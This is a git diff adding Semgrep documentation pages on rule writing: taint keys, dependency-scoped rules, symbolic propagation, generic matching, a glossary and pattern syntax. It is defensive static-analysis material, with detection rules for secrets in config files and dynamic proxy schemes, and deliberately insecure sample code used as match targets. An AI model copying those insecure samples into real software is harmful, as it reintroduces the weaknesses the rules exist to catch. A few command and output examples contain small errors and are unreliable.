+ propagators:
+ - pattern: |
+ $X = $Y
+ from: $Y
+ to: $X
+ sanitizers:
+ - magiccleanfunction(...)
+```
+
+### Taint mode key names
+
+The key names for the new syntax taint rules are as follows:
+
+- `pattern-sources` --> sources
+- `pattern-sinks` --> sinks
+- `pattern-propagators` --> propagators
+- `pattern-sanitizers` --> sanitizers
diff --git a/mintlify-docs/writing-rules/experiments/r2c-internal-project-depends-on.mdx b/mintlify-docs/writing-rules/experiments/r2c-internal-project-depends-on.mdx
new file mode 100644
index 0000000000..2d0148f58b
--- /dev/null
+++ b/mintlify-docs/writing-rules/experiments/r2c-internal-project-depends-on.mdx
@@ -0,0 +1,86 @@
+---
+title: "r2c-internal-project-depends-on"
+sidebarTitle: "Key: r2c-internal-project-depends-on"
+---
+
+This Semgrep rules key allows specifying third-party dependencies along with the semver (semantic version) range that should trigger the rule. The `r2c-internal-project-depends-on` filters the rule unless one of the children is matched by a manifest file or lockfile.
+
+We welcome external contributors to try out the key, but keep in mind there's no expectation of stability across releases yet. **The API and behavior of this feature is subject to change**.
+
+In the rules.yaml, specify `r2c-internal-project-depends-on` key either as a dependency, or a sequence of dependencies with `depends-on-either` key (see the example below).
+
+A dependency consists of three keys:
+
+* `namespace`: The package registry where the third-party dependency is found.
+* `package`: The name of the third-party dependency as it appears in the manifest file or lockfile.
+* `version`: A semantic version range. Uses [Python packaging specifiers](https://packaging.pypa.io/en/latest/specifiers.html) which support almost all NPM operators, except for `^`.
+
+So a `r2c-internal-project-depends-on` key will either look like this:
+```yaml
+r2c-internal-project-depends-on:
+ namespace: ...
+ package: ...
+ version: ...
+```
+
+Or it can have the following layout with `depends-on-either`:
+
+```yaml
+r2c-internal-project-depends-on:
+ depends-on-either:
+ - namespace: ...
+ package: ...
+ version: ...
+ - namespace: ...
+ package: ...
+ version: ...
+ ...
+```
+
+## Example
+
+Here is an example `r2c-internal-project-depends-on` rule that searches for a known vulnerable version of the AWS CLI from April 2017, but only reports the vulnerability if the `s3` module (where the vulnerability is located) is actually used:
+
+```yaml
+rules:
+- id: vulnerable-awscli-apr-2017
+ severity: MEDIUM
+ pattern-either:
+ - pattern: boto3.resource('s3', ...)
+ - pattern: boto3.client('s3', ...)
+ r2c-internal-project-depends-on:
+ namespace: pypi
+ package: awscli
+ version: "<= 1.11.82"
+ message: this version of awscli is subject to a directory traversal vulnerability in the s3 module
+ languages: [python]
+```
+
+## Findings of r2c-internal-project-depends-on
+
+Findings produced by rules with the `r2c-internal-project-depends-on` can be of two types: _reachable_ and _nonreachable_.
+
+- A _reachable_ finding is one with both a dependency match and a pattern match: a vulnerable dependency was found and the vulnerable part of the dependency (according to the patterns in the rule) is used somewhere in the code.
+- An _unreachable_ finding is one with only a dependency match. Reachable findings are reported as coming from the code that was pattern matched. Unreachable findings are reported as coming from the manifest file or lockfile that was dependency matched. For both types of findings, Semgrep specifies whether they are unreachable or reachable along with all matched dependencies, in the `extra` field of Semgrep's JSON output, using the `dependency_match_only` and `dependency_matches` fields, respectively.
+
+A finding is only considered reachable if the file containing the pattern match actually depends on the dependencies in the manifest file or lockfile containing the dependency match. A file depends on a manifest file or lockfile if it is the nearest manifest file or lockfile going up the directory tree.
+
+## r2c-internal-project-depends-on language support
+
+| Language | Namespace | Scans dependencies from |
+|:---------- |:-----------|:--------------------------------------------------------------|
+| C# | nuget | `packages.lock.json` |
+| Dart | pub | `pubspec.lock` |
+| Elixir | hex | `mix.lock` |
+| Go | gomod | `go.mod` |
+| Java | maven | `pom.xml` |
+| JavaScript | npm | `yarn.lock`, `package-lock.json`, `pnpm-lock.yaml` |
+| PHP | composer | `composer.lock` |
+| Python | pypi | `*requirement*.txt`, `Pipfile.lock`, `poetry.lock`, `uv.lock` |
+| Ruby | gem | `Gemfile.lock` |
+| Rust | cargo | `Cargo.lock` |
+| Swift | swiftpm | package.swift |
+
+## Limitations
+
+Dependency resolution uses the source of dependency information with the *least amount of ambiguity* available. For all supported languages except Java, the *least amount of ambiguity* provides a manifest file or lockfile, which lists exact version information for each dependency that a project uses. Dependency resolution does not scan, for example, `package.json` files, because they can contain version ranges. In the case of Java, Maven does not support the creation of manifest files, so `pom.xml` is the least ambiguous source of information we have, and we consider only dependencies listed with exact versions.
diff --git a/mintlify-docs/writing-rules/experiments/symbolic-propagation.mdx b/mintlify-docs/writing-rules/experiments/symbolic-propagation.mdx
new file mode 100644
index 0000000000..e5b1e4c7fe
--- /dev/null
+++ b/mintlify-docs/writing-rules/experiments/symbolic-propagation.mdx
@@ -0,0 +1,48 @@
+---
+title: "Symbolic propagation"
+description: "Symbolic propagation allows Semgrep to perform matching modulo variable assignments. Consider the following Python code:"
+---
+
+```python
+import pandas
+
+def test1():
+ # ruleid: test
+ pandas.DataFrame(x).index.set_value(a, b, c)
+
+def test2():
+ df = pandas.DataFrame(x)
+ ix = df.index
+ # ruleid: test
+ ix.set_value(a, b, c)
+```
+
+If we tried to match the pattern `pandas.DataFrame(...).index.set_value(...)` against the above code, Semgrep would normally match `test1` but not `test2`. It does not match `test2` because there are intermediate assignments, and Semgrep does not know that `ix` is equals to `df.index` or that `df` is equals to `pandas.DataFrame(x)`. If we wanted Semgrep to match such code, we had to be explicit about it.
+
+Symbolic propagation is a generalization of [constant propagation](/writing-rules/data-flow/constant-propagation) that addresses this limitation. It enables Semgrep to perform matching modulo variable assignments. Thus, Semgrep is then able to match both `test1` and `test2` with the same simple pattern. This feature needs to be enabled explicitly via rule `options:` by setting `symbolic_propagation: true`.
+
+
+
+
+
+## Limitations of symbolic propagation
+
+Currently, symbolic propagation does not cross branching boundaries, such as `if` clauses or loops. Consider the following Python code, adapted from the example shown above:
+
+```python
+import pandas
+
+def test1():
+ # ruleid: test
+ pandas.DataFrame(x).index.set_value(a, b, c)
+
+def test2():
+ if (x < 5):
+ df = pandas.DataFrame(x)
+ pass
+ ix = df.index
+ # ruleid: test
+ ix.set_value(a, b, c)
+```
+
+In this case, even if `symbolic_propagation: true` is used, Semgrep does not match `test2`, because the assignment of `df` to `pandas.DataFrame(x)` is not propagated over the conditional to the final two lines.
diff --git a/mintlify-docs/writing-rules/generic-pattern-matching.mdx b/mintlify-docs/writing-rules/generic-pattern-matching.mdx
new file mode 100644
index 0000000000..24a4100742
--- /dev/null
+++ b/mintlify-docs/writing-rules/generic-pattern-matching.mdx
@@ -0,0 +1,329 @@
+---
+title: "Generic pattern matching"
+---
+
+
+## Introduction
+
+Semgrep can match generic patterns in languages that it does **not** yet support. Use generic pattern matching for languages that do not have a parser, configuration files, or other structured data such as XML. Generic pattern matching can also be helpful in files containing multiple languages, even if the languages are otherwise supported, such as HTML with embedded JavaScript or PHP code. In those cases, you can also consider [Extract mode (experimental)](/writing-rules/experiments/deprecated-experiments#extract-mode), but generic patterns may be more straightforward and still effective.
+
+As an example of generic matching, consider this rule:
+
+```yaml expandable
+rules:
+ - id: dynamic-proxy-scheme
+ pattern: proxy_pass $$SCHEME:// ...;
+ paths:
+ include:
+ - "*.conf"
+ - "*.vhost"
+ - sites-available/*
+ - sites-enabled/*
+ languages:
+ - generic
+ severity: MEDIUM
+ message: >-
+ The protocol scheme for this proxy is dynamically determined.
+ This can be dangerous if the scheme is injected by an
+ attacker because it may forcibly alter the connection scheme.
+ Consider hardcoding a scheme for this proxy.
+ metadata:
+ references:
+ - https://github.com/yandex/gixy/blob/master/en/plugins/ssrf.md
+ category: security
+ technology:
+ - nginx
+ confidence: MEDIUM
+```
+
+The preceeding rule [matches](https://semgrep.dev/playground/r/generic.nginx.security.dynamic-proxy-scheme.dynamic-proxy-scheme) this code snippet:
+
+```java expandable
+server {
+ listen 443 ssl;
+ server_name www.example.com;
+ keepalive_timeout 70;
+
+ ssl_certificate www.example.com.crt;
+ ssl_certificate_key www.example.com.key;
+
+ location ~ /proxy/(.*)/(.*)/(.*)$ {
+ # ruleid: dynamic-proxy-scheme
+ proxy_pass $1://$2/$3;
+ }
+
+ location ~* ^/internal-proxy/(?https?)/(?.*?)/(?.*)$ {
+ internal;
+
+ # ruleid: dynamic-proxy-scheme
+ proxy_pass $proxy_proto://$proxy_host/$proxy_path ;
+ proxy_set_header Host $proxy_host;
+}
+
+ location ~ /proxy/(.*)/(.*)/(.*)$ {
+ # ok: dynamic-proxy-scheme
+ proxy_pass http://$1/$2/$3;
+ }
+
+ location ~ /proxy/(.*)/(.*)/(.*)$ {
+ # ok: dynamic-proxy-scheme
+ proxy_pass https://$1/$2/$3;
+ }
+}
+```
+
+Generic pattern matching has the following properties:
+
+* A document is interpreted as a nested sequence of ASCII words, ASCII punctuation, and other bytes.
+* `...` (ellipsis operator) allows skipping non-matching elements, up to 10 lines down from the last match.
+* `$X` (metavariable) matches any word.
+* `$...X` (ellipsis metavariable) matches a sequence of words, up to 10 lines down from the last match.
+* Indentation determines primary nesting in the document.
+* Common ASCII braces `()`, `[]`, and `{}` introduce secondary nesting but only within single lines. Therefore, misinterpreted or mismatched braces don't disturb the structure of the rest of the document.
+* The document must be at least as indented as the pattern: any indentation specified in the pattern must be honored in the document.
+
+## Caveats and limitations of generic mode
+
+Semgrep can reliably understand the syntax of natively [supported languages](/supported-languages). The generic mode is useful for unsupported languages and consequently brings specific limitations.
+
+
+**CAUTION**
+
+The quality of results in the generic mode can vary depending on the language you use it for.
+
+
+The generic mode works fine with any human-readable text, as long as it is primarily based on ASCII symbols. Since the generic mode does not understand the syntax of the language you are scanning, the quality of the result may differ from language to language or even depend on specific code. As a consequence, the generic mode works well for some languages, but it does not always give consistent results. Generally, it's possible or even easy to write code in weird ways that prevent generic mode from matching.
+
+**Example**: In XML, one can write `Hello` instead of `Hello`. If a rule pattern in generic mode is `Hello`, Semgrep is unable to match the `Hello`, unlike if it had full XML support.
+
+With respect to Semgrep operators and features:
+
+* Metavariable support is limited to capturing a single “word”, which is a token of the form [A-Za-z0-9_]+. They can’t capture sequences of tokens such as hello, world (in this case, there are three tokens: `hello`, `,`, and `world`).
+* The ellipsis operator is supported and spans, at most, 10 lines.
+* The pattern operators like either/not/inside are supported.
+* Inline regular expressions for strings (`"=~/word.*/"`) are not supported.
+
+## Troubleshooting
+
+### Common pitfall #1: not enough `...`
+
+Rule of thumb:
+> If the pattern commonly matches many lines, use `... ...` (20 lines), or `... ... ...` (30 lines), to ensure that all lines are matched.
+
+Here's an innocuous pattern that should match the call to a function `f()`:
+```
+f(...)
+```
+It matches the following code [just fine](https://semgrep.dev/s/9v9R):
+```
+f(
+ 1,
+ 2,
+ 3,
+ 4,
+ 5,
+ 6,
+ 7,
+ 8,
+ 9
+)
+```
+
+But it [fails](https://semgrep.dev/s/1z6Q) here because the function arguments span more than 10 lines:
+```
+f(
+ 1,
+ 2,
+ 3,
+ 4,
+ 5,
+ 6,
+ 7,
+ 8,
+ 9,
+ 10
+)
+```
+
+The [solution](https://semgrep.dev/s/9v9R) is to use multiple `...` in the pattern:
+```
+f(... ...)
+```
+
+### Common pitfall #2: not enough indentation
+
+Rule of thumb:
+> If the target code is always indented, use indentation in the pattern.
+
+In the following example, the goal is to match the `system` sections containing a `name` field:
+
+```
+# match here
+[system]
+ name = "Debian"
+# DON'T match here
+[system]
+ max_threads = 2
+[user]
+ name = "Admin Overlord"
+```
+
+❌ This pattern [incorrectly](https://semgrep.dev/s/ry1A) catches the `name` field in the `user` section:
+```
+[system]
+...
+name = ...
+```
+
+✅ This pattern catches [only](https://semgrep.dev/s/bXAr) the `name` field in the `system` section:
+```
+[system]
+ ...
+ name = ...
+```
+
+### Handling line-based input
+
+This section explains how to use Semgrep's generic mode to match
+single lines of code using an ellipsis metavariable. Many simple
+configuration formats are collections of key and value pairs delimited
+by newlines. For example, to extract the `password` value from the
+following made-up input:
+
+```
+username = bob
+password = p@$$w0rd
+server = example.com
+```
+
+Unfortunately, the following pattern does not match the whole line. In generic mode, metavariables only capture a single word (alphanumeric sequence):
+
+```
+password = $PASSWORD
+```
+
+This pattern matches the input file but does not assign the value `p` to `$PASSWORD` instead of the full value `p@$$w0rd`.
+
+To match an arbitrary sequence of items and capture their value in the example:
+
+1. Use a named ellipsis by changing the pattern to the following:
+
+ ```yaml
+ password = $...PASSWORD
+ ```
+
+ This still leads Semgrep to capture too much information. The value assigned to `$...PASSWORD` are now `p@$$w0rd` and
+ `server = example.com`. In generic mode, an ellipsis extends until the end of the current block or up to 10 lines below, whichever comes first. To prevent this behavior, continue with the next step.
+
+2. In the Semgrep rule, specify the following key:
+
+ ```yaml
+ generic_ellipsis_max_span: 0
+ ```
+
+ This option forces the ellipsis operator to match patterns within a single line.
+ Example of the [resulting rule](https://semgrep.dev/playground/s/KPzn):
+
+ ```yaml
+ id: password-in-config-file
+ pattern: |
+ password = $...PASSWORD
+ options:
+ # prevent ellipses from matching multiple lines
+ generic_ellipsis_max_span: 0
+ message: |
+ password found in config file: $...PASSWORD
+ languages:
+ - generic
+ severity: WARNING
+ ```
+
+### Ignoring comments
+
+By default, the generic mode does **not** know about comments or code
+that can be ignored. The following example is
+scanning for CSS code that sets the text color to blue. The target code
+is the following:
+
+```
+color: /* my fave color */ blue;
+```
+
+Use the [`options.generic_comment_style`](/writing-rules/rule-syntax/#options)
+to ignore C-style comments, as is the case in the example.
+The Semgrep rule is:
+
+```yaml
+id: css-blue-is-ugly
+pattern: |
+ color: blue
+options:
+ # ignore comments of the form /* ... */
+ generic_comment_style: c
+message: |
+ Blue is ugly.
+languages:
+ - generic
+severity: WARNING
+```
+
+## Command line example
+
+Sample pattern: `exec(...)`
+
+Sample target file `exec.txt` contains:
+```bash
+import exec as safe_function
+safe_function(user_input)
+
+exec("ls")
+
+exec(some_var)
+
+some_exec(foo)
+
+exec (foo)
+
+exec (
+ bar
+)
+
+# exec(foo)
+
+print("exec(bar)")
+```
+
+Output:
+```bash
+$ semgrep -l generic -e 'exec(...)` exec.text
+7:exec("ls")
+--------------------------------------------------------------------------------
+11:exec(some_var)
+--------------------------------------------------------------------------------
+19:exec (foo)
+--------------------------------------------------------------------------------
+23:exec (
+24:128
+25: bar
+26:129
+27:)
+--------------------------------------------------------------------------------
+31:# exec(foo)
+--------------------------------------------------------------------------------
+35:print("exec(bar)")
+ran 1 rules on 1 files: 6 findings
+```
+
+## Semgrep Registry rules for generic pattern matching
+You can peruse [existing generic rules](https://semgrep.dev/r?lang=generic&sev=ERROR,WARNING,INFO&tag=dgryski.semgrep-go,hazanasec.semgrep-rules,ajinabraham.njsscan,best-practice,security,java-spring,go-stdlib,ruby-stdlib,java-stdlib,js-node,nodejsscan,owasp,dlint,react,performance,compatibility,portability,correctness,maintainability,security,mongodb,experimental,caching,robots-denied,missing-noreferrer,missing-noopener) in the Semgrep registry. In general, short patterns on structured data performs the best.
+
+## Cheat sheet
+Some examples of what matches and what doesn't match on the `generic` tab of the Semgrep cheat sheet below:
+
+
+
+
+
+## Hidden bonus
+
+In the Semgrep code, the generic pattern matching implementation is called **spacegrep** because it tokenizes based on whitespace (and because it sounds cool 😎).
diff --git a/mintlify-docs/writing-rules/glossary.mdx b/mintlify-docs/writing-rules/glossary.mdx
new file mode 100644
index 0000000000..71f8cf4416
--- /dev/null
+++ b/mintlify-docs/writing-rules/glossary.mdx
@@ -0,0 +1,139 @@
+---
+title: "Static analysis and rule-writing glossary"
+sidebarTitle: "Glossary"
+description: "The definitions provided here are specific to Semgrep."
+---
+
+## Constant propagation
+
+Constant propagation is a type of analysis where values known to be constant are substituted in later uses, allowing the value to be used to detect matches. Semgrep can perform constant propagation across files, unless you are running Semgrep Community Edition (CE), which can only propagate within a file.
+
+Constant propagation is applied to all rules unless [it is disabled](/writing-rules/data-flow/constant-propagation#disable-constant-propagation).
+
+For example, given the following pattern:
+```yaml
+...
+patterns:
+- pattern: console.log(2)
+```
+And the following code snippet:
+```javascript highlight={2}
+const x = 2;
+console.log(x);
+```
+
+The pattern operator `pattern: print(2)` tells Semgrep to match line 2 because it propagates the value `2` from the assignment in line 1 to the `console.log()` function in line.
+
+Constant propagation is one of the many analyses that differentiate Semgrep from grep.
+
+## Cross-file analysis
+
+Cross-file analysis (also known as **interfile analysis**) takes into account how information flows between files. In particular, cross-file analysis includes **cross-file taint analysis**, which tracks unsanitized variables flowing from a source to a sink through arbitrarily many files. Other analyses performed across files include constant propagation and type inference.
+
+Cross-file analysis is usually used in contrast to intrafile, or per-file analysis, where each file is analyzed as a standalone block of code.
+
+Within Semgrep, cross-file **and** cross-function analysis is simply referred to as cross-file analysis.
+
+Semgrep CE is limited to per-file analysis.
+
+## Cross-function analysis
+
+Cross-function analysis means that interactions between functions are taken into account. This improves taint analysis, which tracks unsanitized variables flowing from a source to a sink through arbitrarily many functions.
+
+Within Semgrep documentation, cross-function analysis implies intrafile or per-file analysis. Each file is still analyzed as a standalone block, but within the file it takes into account how information flows between functions.
+
+Also known as **interprocedural** analysis.
+
+## Error matrix
+
+An error matrix is a 2x2 table that visualizes the findings of a Semgrep rule in relation to the vulnerable lines of code it does or doesn't detect. It has two axes:
+
+- Positive and negative
+- True or false
+
+These yield the following combinations:
+
+**True positive**
+ The rule detected a piece of code it was intended to find.
+
+**False positive**
+ The rule detected a piece of code it was not intended to find.
+
+**True negative**
+ The rule correctly skipped over a piece of code it wasn't meant to find.
+
+**False negative**
+ The rule failed to detect a piece of code it should have found.
+
+Not to be confused with **risk matrices**.
+
+## Finding
+
+A finding is the core result of Semgrep's analysis. Findings are generated when a Semgrep rule matches a piece of code. Findings can be security issues, bugs, or code that doesn't follow coding conventions.
+
+## Fully qualified name
+
+A **fully qualified name** refers to a name which uniquely identifies a class, method, type, or module. Languages such as C# and Ruby use `::` to distinguish between fully qualified names and regular names.
+
+Not to be confused with **tokens**.
+
+## l-value (left-, or location-value)
+
+An expression that denotes an object in memory; a memory location, something that you can use in the left-hand side (LHS) of an assignment. For example, `x` and `array[2]` are l-values, but `2+2` is not.
+
+## Metavariable
+
+A metavariable is an abstraction that lets you match something even when you don't know exactly what it is you want to match. It is similar to capture groups in regular expressions. All metavariables begin with a `$` and can only contain uppercase characters, digits, and underscores.
+
+## Propagator
+
+A propagator is any code that alters a piece of data as the data moves across the program. This includes functions, reassignments, and so on.
+
+When you write rules that perform taint analysis, propagators are pieces of code that you specify through the `pattern-propagator` key as code that always passes tainted data. This is especially relevant when Semgrep performs intraprocedural taint analysis, as there is no way for Semgrep to infer which function calls propagate taint. Thus, explicitly listing propagators is the only way for Semgrep to know if tainted data could be passed within your function.
+
+## Rule (Semgrep rule)
+
+A rule is a specification of the patterns that Semgrep must match to the code to generate a finding. Rules are written in YAML. Without a rule, the engine has no instructions on how to match code.
+
+Rules can be run on either Semgrep or its OSS Engine. Only proprietary Semgrep can perform [interfile analysis](#cross-file-analysis).
+
+There are two types of rules: **search** and **taint**.
+
+
+**Search rules**
+Rules default to this type. Search rules detect matches based on the patterns described by a rule. There are several semantic analyses that search rules perform, such as:
+ - Interpreting syntactically different code as semantically equivalent
+ - Constant propagation
+ - Matching a fully qualified name to its reference in the code, even when not fully qualified
+ - Type inference, particularly when using typed metavariables
+
+**Taint rules**
+Taint rules make use of Semgrep's taint analysis in addition to default search functionalities. Taint rules are able to specify sources, sinks, and propagators of data as well as sanitizers of that data. For more information, see [Taint analysis documentation](/writing-rules/data-flow/taint-mode/overview).
+
+## Sanitizers
+
+A sanitizer is any piece of code, such as a function or [a cast](https://learn.microsoft.com/en-us/dotnet/csharp/programming-guide/types/casting-and-type-conversions#explicit-conversions), that can clean untrusted or tainted data. Data from untrusted sources, such as user inputs, may be tainted with unsafe characters. Sanitizers ensure that unsafe characters are removed or stripped from the input.
+
+An example of a sanitizer is the [ `DOMPurify.sanitize(dirty);`](https://github.com/cure53/DOMPurify) function from the DOMPurify package in JavaScript.
+
+## Per-file analysis
+
+Also known as intrafile analysis. In per-file analysis, information can only be traced or tracked within a single file. It cannot be traced if it flows to another file.
+
+Per-file analysis can include cross-function analysis, aka tracing the flow of information between functions. When discussing the capabilities of pro analysis, per-file analysis implies cross-function analysis.
+
+## Per-function analysis
+
+Also known as intraprocedural analysis. In per-function analysis, information can only be traced or tracked within a single function.
+
+## Sink
+
+In taint analysis, a sink is any vulnerable function that is called with potentially tainted or unsafe data.
+
+## Source
+
+In taint analysis, a source is any piece of code that assigns or sets tainted data, typically user input.
+
+## Taint analysis
+
+Taint analysis tracks and traces the flow of untrusted or unsafe data. Data coming from sources such as user inputs could be unsafe and used as an attack vector if these inputs are not sanitized. Taint analysis provides a means of tracing that data as it moves through the program from untrusted sources to vulnerable functions.
diff --git a/mintlify-docs/writing-rules/metavariable-analysis.mdx b/mintlify-docs/writing-rules/metavariable-analysis.mdx
new file mode 100644
index 0000000000..4d18907b37
--- /dev/null
+++ b/mintlify-docs/writing-rules/metavariable-analysis.mdx
@@ -0,0 +1,33 @@
+---
+title: "Metavariable analysis"
+---
+
+Semgrep developed metavariable analysis to support several metavariable inspection techniques that are difficult to express with existing rules, but have "simple" binary classifier behavior. Currently, this syntax supports two analyzers: `redos` and `entropy`.
+
+## ReDoS
+
+```yaml
+metavariable-analysis:
+ analyzer: redos
+ metavariable: $VARIABLE
+```
+
+Poorly constructed regular expressions that exhibit exponential runtime when fed specifically crafted inputs can cause RegEx denial of service. The `redos` analyzer uses known RegEx anti-patterns to determine if the target expression is potentially vulnerable to catastrophic backtracking.
+
+
+
+
+
+## Entropy
+
+```yaml
+metavariable-analysis:
+ analyzer: entropy
+ metavariable: $VARIABLE
+```
+
+Entropy is a common approach for detecting secret strings. Many existing tools utilize a combination of entropy calculations and regular expressions (RegEx) for secret detection. This analyzer returns `true` if a metavariable has high entropy, or randomness, relative to the English language.
+
+
+
+
\ No newline at end of file
diff --git a/mintlify-docs/writing-rules/overview-1.mdx b/mintlify-docs/writing-rules/overview-1.mdx
new file mode 100644
index 0000000000..c87a03dd11
--- /dev/null
+++ b/mintlify-docs/writing-rules/overview-1.mdx
@@ -0,0 +1,9 @@
+---
+title: "Write rules"
+sidebarTitle: "Write custom rules"
+description: "Semgrep uses rules, which encapsulate pattern matching logic and data flow analysis, to scan your code for security issues, style violations, bugs, and more. In addition to rules available to you in the Semgrep Registry, you can write custom rules to determine what Semgrep detects in your repositories. You can write rules that:"
+---
+
+import WritingRulesOverview from "/snippets/writing-rules/overview.mdx"
+
+
diff --git a/mintlify-docs/writing-rules/overview.mdx b/mintlify-docs/writing-rules/overview.mdx
new file mode 100644
index 0000000000..2754be8d22
--- /dev/null
+++ b/mintlify-docs/writing-rules/overview.mdx
@@ -0,0 +1,9 @@
+---
+title: "Write rules"
+sidebarTitle: "Overview"
+description: "Semgrep uses rules, which encapsulate pattern matching logic and data flow analysis, to scan your code for security issues, style violations, bugs, and more. In addition to rules available to you in the Semgrep Registry, you can write custom rules to determine what Semgrep detects in your repositories. You can write rules that:"
+---
+
+import WritingRulesOverview from "/snippets/writing-rules/overview.mdx"
+
+
diff --git a/mintlify-docs/writing-rules/pattern-examples.mdx b/mintlify-docs/writing-rules/pattern-examples.mdx
new file mode 100644
index 0000000000..4e7458c0f5
--- /dev/null
+++ b/mintlify-docs/writing-rules/pattern-examples.mdx
@@ -0,0 +1,16 @@
+---
+title: "Rule pattern syntax examples"
+---
+
+This section is automatically generated from the unit test suite inside Semgrep. Per-language references are also available within the [Playground](https://semgrep.dev/editor).
+
+
+
+
\ No newline at end of file
diff --git a/mintlify-docs/writing-rules/pattern-syntax.mdx b/mintlify-docs/writing-rules/pattern-syntax.mdx
new file mode 100644
index 0000000000..09df35617f
--- /dev/null
+++ b/mintlify-docs/writing-rules/pattern-syntax.mdx
@@ -0,0 +1,847 @@
+---
+title: "Rule pattern syntax"
+---
+
+
+
+**TIP**
+
+Getting started with rule writing? Try the [Semgrep Tutorial](https://semgrep.dev/learn) 🎓
+
+
+This document describes Semgrep’s pattern syntax. You can also see pattern [examples by language](/writing-rules/pattern-examples). In the command line, patterns are specified with the flag `--pattern` (or `-e`). Multiple
+coordinating patterns may be specified in a configuration file. See
+[rule syntax](/writing-rules/rule-syntax) for more information.
+
+## Pattern matching
+
+Pattern matching searches code for a given pattern. For example, the
+expression pattern `1 + func(42)` can match a full expression or be
+part of a subexpression:
+
+```python
+foo(1 + func(42)) + bar()
+```
+
+In the same way, the statement pattern `return 42` can match a top
+statement in a function or any nested statement:
+
+```python
+def foo(x):
+ if x > 1:
+ if x > 2:
+ return 42
+ return 42
+```
+
+## Ellipsis operator
+
+The `...` ellipsis operator abstracts away a sequence of zero or more
+items such as arguments, statements, parameters, fields, characters.
+
+The `...` ellipsis can also match any single item that is not part of
+a sequence when the context allows it.
+
+See the use cases in the subsections below.
+
+### Function calls
+
+Use the ellipsis operator to search for function calls or
+function calls with specific arguments. For example, the pattern `insecure_function(...)` finds calls regardless of its arguments.
+
+```python
+insecure_function("MALICIOUS_STRING", arg1, arg2)
+```
+
+Functions and classes can be referenced by their fully qualified name, e.g.,
+
+- `django.utils.safestring.mark_safe(...)` or `mark_safe(...)`
+- `System.out.println(...)` or `println(...)`
+
+You can also search for calls with arguments after a match. The pattern `func(1, ...)` will match both:
+
+```python
+func(1, "extra stuff", False)
+func(1) # Matches no arguments as well
+```
+
+Or find calls with arguments before a match with `func(..., 1)`:
+
+```python
+func("extra stuff", False, 1)
+func(1) # Matches no arguments as well
+```
+
+The pattern `requests.get(..., verify=False, ...)` finds calls where an argument appears anywhere:
+
+```python
+requests.get(verify=False, url=URL)
+requests.get(URL, verify=False, timeout=3)
+requests.get(URL, verify=False)
+```
+
+Match the keyword argument value with the pattern `$FUNC(..., $KEY=$VALUE, ...)`.
+
+### Method calls
+
+The ellipsis operator can also be used to search for method calls.
+For example, the pattern `$OBJECT.extractall(...)` matches:
+
+```python
+tarball.extractall('/path/to/directory') # Oops, potential arbitrary file overwrite
+```
+
+You can also use the ellipsis in chains of method calls. For example,
+the pattern `$O.foo(). ... .bar()` will match:
+
+```python
+obj = MakeObject()
+obj.foo().other_method(1,2).again(3,4).bar()
+
+```
+
+### Function definitions
+
+The ellipsis operator can be used in function parameter lists or in the function
+body. To find function definitions with [mutable default arguments](https://docs.python-guide.org/writing/gotchas/#mutable-default-arguments):
+
+```text
+pattern: |
+ def $FUNC(..., $ARG={}, ...):
+ ...
+```
+
+```python
+def parse_data(parser, data={}): # Oops, mutable default arguments
+ pass
+```
+
+
+**TIP**
+
+The YAML `|` operator allows for [multiline strings](https://yaml-multiline.info/).
+
+
+The ellipsis operator can match the function name.
+Match any function definition:
+Regular functions, methods, and also anonymous functions (such as lambdas).
+To match named or anonymous functions use an ellipsis `...` in place of the name of the function.
+For example, in JavaScript the pattern `function ...($X) { ... }` matches
+any function with one parameter:
+
+```javascript
+function foo(a) {
+ return a;
+}
+var bar = function (a) {
+ return a;
+};
+```
+
+### Class definitions
+
+The ellipsis operator can be used in class definitions. To find classes that
+inherit from a certain parent:
+
+```text
+pattern: |
+ class $CLASS(InsecureBaseClass):
+ ...
+```
+
+```python
+class DataRetriever(InsecureBaseClass):
+ def __init__(self):
+ pass
+```
+
+
+**TIP**
+
+The YAML `|` operator allows for [multiline strings](https://yaml-multiline.info/).
+
+
+#### Ellipsis operator scope
+
+The `...` ellipsis operator matches everything in its current scope. The current scope of this operator is defined by the patterns that precede `...` in a rule. See the following example:
+
+
+
+
+
+Semgrep matches the first occurrence of `bar` and `baz` in the test code as these objects fall under the scope of `foo` and `...`. The ellipsis operator does not match the second occurrence of `bar` and `baz` as they are not inside of the function definition, therefore these objects in their second occurrence are not inside the scope of the ellipsis operator.
+
+### Strings
+
+The ellipsis operator can be used to search for strings containing any data. The pattern `crypto.set_secret_key("...")` matches:
+
+```python
+crypto.set_secret_key("HARDCODED SECRET")
+```
+
+This also works with [constant propagation](#constants).
+
+In languages where regular expressions use a special syntax
+(for example JavaScript), the pattern `/.../` will match
+any regular expression construct:
+
+```javascript
+re1 = /foo|bar/;
+re2 = /a.*b/;
+```
+
+### Binary operations
+
+The ellipsis operator can match any number of arguments to binary operations. The pattern `$X = 1 + 2 + ...` matches:
+
+```python
+foo = 1 + 2 + 3 + 4
+```
+
+### Containers
+
+The ellipsis operator can match inside container data structures like lists, arrays, and key-value stores.
+
+The pattern `user_list = [..., 10]` matches:
+
+```python
+user_list = [8, 9, 10]
+```
+
+The pattern `user_dict = {...}` matches:
+
+```python
+user_dict = {'username': 'password'}
+```
+
+The pattern `user_dict = {..., $KEY: $VALUE, ...}` matches the following and allows for further metavariable queries:
+
+```python
+user_dict = {'username': 'password', 'address': 'zipcode'}
+```
+
+You can also match just a key-value pair in
+a container, for example in JSON the pattern `"foo": $X` matches
+just a single line in:
+
+```json
+{ "bar": True,
+ "name": "self",
+ "foo": 42
+}
+```
+
+### Conditionals and loops
+
+The ellipsis operator can be used inside conditionals or loops. The pattern:
+
+```text
+pattern: |
+ if $CONDITION:
+ ...
+```
+
+
+**TIP**
+
+The YAML `|` operator allows for [multiline strings](https://yaml-multiline.info/).
+
+
+matches:
+
+```python
+if can_make_request:
+ check_status()
+ make_request()
+ return
+```
+
+A metavariable can match a conditional or loop body if the body statement information is re-used later. The pattern:
+
+```text
+pattern: |
+ if $CONDITION:
+ $BODY
+```
+
+matches:
+
+```python
+if can_make_request:
+ single_request_statement()
+```
+
+
+**TIP**
+
+Half or partial statements can't be matches; both of the examples above must specify the contents of the condition’s body (e.g., `$BODY` or `...`), otherwise they are not valid patterns.
+
+
+### Matching single items with an ellipsis
+
+Ellipsis `...` is generally used to match sequences of similar elements.
+However, you can also match single item using ellipsis `...` operator.
+The following pattern is valid in languages with a C-like
+syntax even though `...` matches a single Boolean value rather
+than a sequence:
+
+```java
+if (...)
+ return 42;
+```
+
+Another example where a single expression is matched by an ellipsis is
+the right-hand side of assignments:
+
+```java
+foo = ...;
+```
+
+However, matching a sequence of items remains the default meaning of an
